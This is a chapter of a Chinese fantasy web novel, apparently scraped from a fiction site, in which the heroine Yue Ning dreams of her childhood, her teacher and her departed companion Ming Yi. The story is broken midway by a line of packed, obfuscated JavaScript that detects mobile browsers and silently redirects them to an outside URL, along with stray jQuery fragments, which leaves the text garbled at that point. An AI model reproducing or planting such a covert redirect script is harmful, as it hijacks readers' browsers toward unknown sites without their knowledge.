4. 第 4 章

作品:《金星伴月

    月宁猝不及防被迫围观,赶紧闭上了眼睛,别过头去对着姚玉璃说:“师祖要不明日再试吧,宁儿先回房了。”


    说话间就已经走到了门口,尤嫌走得不够快。


    快走快走!不然眼睛都该要长出来针眼了!


    青竹恰好盘踞在大殿门口,高高一堆堵了大半扇门,她来不及避让,差点歪倒,脚下连忙提了下劲儿跃了过去。


    月宁不忘回头冲它招呼了一声,也没管它跟没跟上,木着张脸一路快走回了房。


    倒也不全是怕长针眼,是给那有缘人处理腿伤一时半会也弄不完,不欲再等了,是真的觉得很累,骨头缝儿里窜出来的累。


    她又不是熬不到明日了,也无须急在这一时。


    不过是繁星初上就乏得要命,这幅身子当真是越来越不济了。


    强撑着打些水来,潦草洗漱一番,躺下刚沾上枕头就睡着了。


    神不稳就爱发梦,今夜月宁就做了个梦。


    梦见了幼时的她。


    她那一年突然知道自己要死,细嫩的脖颈上悬了把不知何时会落下的铡刀,或在明日或在下月,或在不远后的某一天,就会悄然落下,然后她的眼睛永远不会再睁开。


    起初的几日常常会被不知会何时降临的铡刀吓到夜不能寐,瞪大了双眼缩在床脚,她那时是真的怕睡着了就再也醒不过来。


    姚玉璃觉出她心神不宁,也没多问,只背起手来搓摩了几下手指。


    翌日是个难得的好天,姚玉璃突然说要带她去观落日。


    月宁虽打心底里不觉得落日有甚可观,但更不想独自呆在房里,还是去了。


    当她站在山巅,眺望着远处,马上就被一片壮丽的山中落日景象所吸引。


    骄阳缓缓西沉,上空逐渐呈现出浓郁的橙红色,余晖照映着整个山脉,慷慨的填满了整个山林。


    夕阳渐渐落下,余辉逐渐消失,山峦的轮廓在暮色中渐渐模糊。


    天空逐渐转为深蓝色,越来越深,夜幕开始降临。


    直到繁星在夜幕中闪烁,点亮了山中的黑暗,姚玉璃嗓音轻缓地柔声道:“宁儿呀,你瞧着如何?虽年分四季,日月不同,但这山永远是这山,这水也永不会干涸。虽然日月轮转万物变迁,但,只要你来,它就在永远这里等你。世间多娇,得此一隅,也是人生之幸。”


    他还说,生老病死乃是这世间常态,只要在离别到来前曾好好珍惜,在所不可得中曾好好努力,走也能走的和来时一样干净。


    月宁虽然不懂为何世间多娇,得此一隅就算幸运,难得姚玉璃陪着她那么久,也还是小大人般地点了点头。


    后来她才懂得,姚玉璃说的意思是:总有不变的东西会留下来,也永远不会改变,但不会是她们,要知足。


    终于睡得一个好觉后,推开门走出来的她身形抽长,干瘪消瘦,形容枯槁。


    山君驮着瘦骨嶙峋的她在离恨天中一步步缓缓行之,青竹也在身后不远不近慢悠悠地跟着。


    她看天看地听风淋雨观活物赏草木。


    途中还在山道上遇见一对瞧不清面容的夫妻,男子高大挺拔沉默站立在一块巨石旁,纤柔单薄的女子扑在他怀里嚎啕大哭,不停呢喃着她的景儿,她的景儿……


    下雨了,他们交叠的身影被雨幕阻隔,耳边也只余劈啪作响的雨声,月宁心中觉得遗憾,她其实很想看着他们,也很想再听会儿她的声音。


    雨越来越急,冲刷掉了她眸中所有色彩,只余大片的灰黑。


    好累。


    轻轻地拍了拍山君,无需言语,山君就沿着来路返回把她送了回去,房门前站着的,是已经三年未见的明夷。


    一身杏黄色彩云缂丝圆领蟒袍,头戴玉冠,脚蹬云履,眉目如旧。


    是他,又有些不像他。


    明夷见她过来快走两步上前迎她,柔声问:“月儿,我回来了,今年的花开了吗?”


    月宁从山君背上滑下来,扯了扯唇角,“眼下正值深秋,槐花哪里会在这时开?你......”


    视角突然变矮,急雨骤停,明月高悬,小小的明夷扯着她的手,塞过来一个红彤彤的小果子,“清明道长今日说喊你宁儿顺口才这么叫的。”两只牵在一起的小手晃了晃,“那我不要和他们一样,我以后就唤你月儿好不好?好月儿,喊声哥哥。”


    她想反驳的,却有口难言。


    不是的。


    是父亲说,若是这世间有谁羽化升仙,那这个人非姚玉璃莫属,他某些时候说的话就像言灵一样准,只是不知道到底哪句才能应。


    于是父亲就挑了宁这一字让他日日喊着,乃是盼望这句能应了言灵,佑她心安神定,安稳一生才这么叫的。


    又一日无风也无月,明夷忽得长高了些,他刚从外面回来,浑身脏兮兮地趴在窗前抬手敲了敲。待她开了窗,踮起脚递进来一株裹着泥土的幼苗,悄声说:“月儿,这是槐树苗,明日我们一起把它种在林子里,待春来开了花就是槐花,可入药。是东吴的一位先生说这槐花能凉血泻火,多少会与你有些益处。”


    她把幼苗接过,仔细地收放妥当,那苗儿细细一根,叶子也没挂几片,种下后总是忧心它死了,时常悉心照料。


    又一桶水浇下,槐树苗在顷刻间长高变粗,风一吹,枝头就开出了花,寥寥几串。


    明夷披星戴月地赶了回来,她很是高兴,摘了那几串槐花捧做一把举起来给他看,“明夷哥哥你回来的正好,你瞧,这树开花了,头一回呢!”


    黄白的花,体轻,气微,味微苦。


    细嚼几下,回味又带着丝丝甘甜,唇齿留香。


    明夷跨坐在马背上,弯着那双映着星河的眼睛迭声唤她月儿。


    月儿,月儿,月儿......连成一片。


    末了他还轻笑着说:“那以后我就开花时回来,好不好?”


    她点点头说:“那你可要记得日子早日回家,若是下次你赶不上花开,我可不等你。”


    夜风掀起明夷几缕发丝,又恰好推来一片轻云遮了些许月华,他偏过头去,眉目不清。


    只有含糊的声音传来:“好月儿,你一定要等我!我走遍这天地也定要为你.......”


    为我什么呢?


    她总是在这时候听不清明夷在说什么。


    余下的梦境乏善可陈,皆是她倚在门边目送明夷的背影离开,一次次送到那道背影慢慢抽高,肩膀也越来越宽,渐渐有了些大人模样。


    明夷总会在隐没在雨林前转过身对着她挥手,嘴唇微微张合。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457858|169597||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    风携着那从他唇齿间吐出来的声音吹不了多远就消散,永远递不到她耳边。


    次次听不清他在说些什么,焦急得想要大声问询,也睁大了双眼想看清他蠕动的嘴唇。


    明夷却不待她看清,也不待她问出口,转身就消失在林中。


    她常驻足在那目送他离开,有时也会迎他回来,看目光尽头渐渐出现一匹骏马驮着她的明夷哥哥回家来。


    随着明夷渐渐长大,她房里的物件越添越越多,有时是些杂耍,有时是本书册,有时是些墨宝,有时是包种子,明夷说那是凤仙花的种子,世间女子惯用其来妆点己身。


    有时是几卷绣着新花样的各色绸布,明里暗里的想从她这儿讨件儿新衣裳。


    有时是一把顶端镶了几颗明珠的轻弓,月宁很是喜欢,给它取名称之月弦。


    也不总是好天气,这天阴云密布,春风楼的几个哑巴伙计卸了东西,归置妥当后给了她一个漆黑的长匣子,示意她打开来看。


    匣子里有三支箭和一封火漆封口的信。


    信中了了数语述明了明夷如今摇身一变,复了西秦二皇子的身份,今年的花他是看不成了,途径东吴所得三支好箭算作赔罪。


    那三支箭月宁把玩了许久,一支双翼箭,箭头两端各有一对倒钩,中央有根脊柱,两侧均有一对羽翼。一支三叉箭,箭头呈三角扁平,为刀叉之状,中央为锋利地刀锋,两旁还有些小刀锋。一支飞芒重箭,一尺六长,箭头为三棱型。


    皆为杀人利器,其实她一个也不喜欢。


    刚放下羽箭一个转身,瞧见身着蟒袍的明夷就站在她身后不远处,一张俊脸扭曲着正惊恐地大声嘶吼。


    她还是听不到他的声音。


    月宁瞧着有些心急,到底在喊什么呢?


    都当上皇子的人了,顶顶尊贵的人怎可这般作态,外界不比离恨天中逍遥自在,什么规矩都没有。


    更遑论他现下还在皇家,不仅规矩森严,还要仪态万千,明夷本就是半路皇子,再被人瞧见如此失态,当作桌上谈资取笑与他可如何是好。


    他的性子明明最是要强了......


    想说教几句要仪态端方云云,甫一张口,鲜血喷涌而出。


    月宁想不明白,为何如此干瘪的身体里还会有这么多的血,多到好像流之不尽一样。


    太累了,越来越累,眼皮都好似有千斤重。


    那就先歇息一下吧,也不知道有没有吓到明夷,但也无力再去看他了。


    她闭上了眼睛。


    可翻来覆去总也睡不踏实,有人在她身边大声呼喊着什么,声音还越来越大。


    是明夷吗?看来方才确是吓到他了。


    还是放心不下,想醒来安抚他,今时不同往日了,要稳重呀!


    可眼皮如有千斤,怎么也睁不开眼睛。


    “宁儿!”


    一声厉呼。


    重有千金的眼皮猛地一轻,月宁睁动了眼睛,下意识觉得不对,抬手遮了下眸中一闪而逝的金光。


    待手放下就看到昏黄的烛光下,一个眉眼深邃轮廓分明的俊俏男子脚下踩着蛇尾,任青竹扭成了麻花也自巍然不动,一手紧紧攥住蛇吻,一手抬起冲着她的脸欲扇下来……


    月宁:?